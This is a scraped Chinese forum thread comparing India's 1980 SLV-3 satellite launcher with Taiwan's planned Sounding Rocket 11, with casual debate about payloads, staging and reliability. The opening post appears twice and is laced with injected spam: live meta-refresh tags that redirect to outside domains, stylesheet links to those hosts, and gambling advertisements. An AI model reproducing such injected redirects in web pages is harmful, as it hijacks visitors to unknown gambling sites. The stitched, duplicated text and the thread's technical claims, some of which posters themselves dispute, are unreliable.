印度首次發射衛星的SLV-3火箭與台灣2010年的探空十一號 ...

来源:百度文库 编辑:超级军网 时间:2024/04/29 01:51:20
<br /><br />印度首次發射衛星的SLV-3火箭與台灣2010年的探空十一號自製火箭在數據上相近。

台灣2010年首次發射衛星的的探空十一號自製火箭,是把近40公斤的重量送上500公里高的軌道。

印度首次發射衛星的四級固體火箭SLV-3的數據做參考: SLV-3直徑1米,起飛重量近18噸,而SLV-3火箭,是把近50公斤的重量送上400公里高的軌道。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>

<P>&nbsp;</P>


(6.合.彩)♀足球♀篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />印度首次發射衛星的SLV-3火箭與台灣2010年的探空十一號自製火箭在數據上相近。

台灣2010年首次發射衛星的的探空十一號自製火箭,是把近40公斤的重量送上500公里高的軌道。

印度首次發射衛星的四級固體火箭SLV-3的數據做參考: SLV-3直徑1米,起飛重量近18噸,而SLV-3火箭,是把近50公斤的重量送上400公里高的軌道。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>

<P>&nbsp;</P>


(6.合.彩)♀足球♀篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
子文兄不是想告诉我们那时台湾航天终于赶上30年前的印度吧

1980年7月18日,印度一枚名为“卫星运载火箭”-3(SLV-3)的运载火箭,将一颗重
40千克“罗希尼”卫星,送入近地点300公里、远地点900公里、倾角45度的椭圆形空间轨
道,发射地点是位于印度东海岸马德提斯以北100公里的斯里哈里科塔发射场。
原帖由 远南侯 于 2007-11-13 19:38 发表
子文兄不是想告诉我们那时台湾航天终于赶上30年前的印度吧

1980年7月18日,印度一枚名为“卫星运载火箭”-3(SLV-3)的运载火箭,将一颗重
40千克“罗希尼”卫星,送入近地点300公里、远地点900公里、倾角45度的 ...



:o 不是阿,是碰巧搜尋到印度發射卫星(SLV-3)的运载火箭數據及火箭圖片
:( 那台湾探空十一號自製火箭的模樣也差不多與(SLV-3)類似吧
呵呵,玩笑啦
我刚才猛灌一阵想把某贴压下去的
容兄勿怪:lol
]]
SLV-3火箭是採用4節火箭推力、彈徑1公尺

那假設採用連貫5節火箭推力會不會出事??

:o 火箭推力是不是單具不夠強就一節一節加下去加到本來只能射300公里軌道變成可以射500公里軌道?
原帖由 容子文 于 2007-11-13 21:13 发表
SLV-3火箭是採用4節火箭推力、彈徑1公尺

那假設採用連貫5節火箭推力會不會出事??

:o 火箭推力是不是單具不夠強就一節一節加下去加到本來只能射300公里軌道變成可以射500公里軌道?

火箭级数增加会导致结构复杂,可靠性下降,靠增大级数提高射程似乎不太可取
1980年~~~2010年~~~~性能相近~~~
1980年的印度火箭相当于哪个TG朝代的水平?
印度可以买到俄罗斯的火箭发动机,台湾找美国买?
印度已经实现,台湾还在规划,这两个不能比
图上的火箭又细又长啊!!

:D
;P ;P ;P ;P ,探空火箭和运载火箭是有区别的,某人白忙活几个星期:D :D :D :D
原帖由 网虫一个 于 2007-11-14 13:06 发表
;P ;P ;P ;P ,探空火箭和运载火箭是有区别的,某人白忙活几个星期:D :D :D :D


:o 國家太空中心計畫管理組組長鄭國屏補充表示,探空十一號是自製火箭,也是小型的發射載具,發射時將搭載科學酬載的微衛星,並搭載成功大學地震觀測平台實測與淡江大學氣象雲圖驗證微電子照相器材。鄭國屏說,這些升空的微衛星重量約三十至五十公斤,
2010年你能出来吗?
你倒是很相信台湾的专家嘛
那你怎么不相信大陆的专家呢
这个容子文是宋子文什么关系?表亲?还是马甲:D
一节一节的加下去?这个可怕的想法绝对是工程上的噩梦。再好的技术也要被折磨的剩不下多少可靠度了。
容子文还是不错滴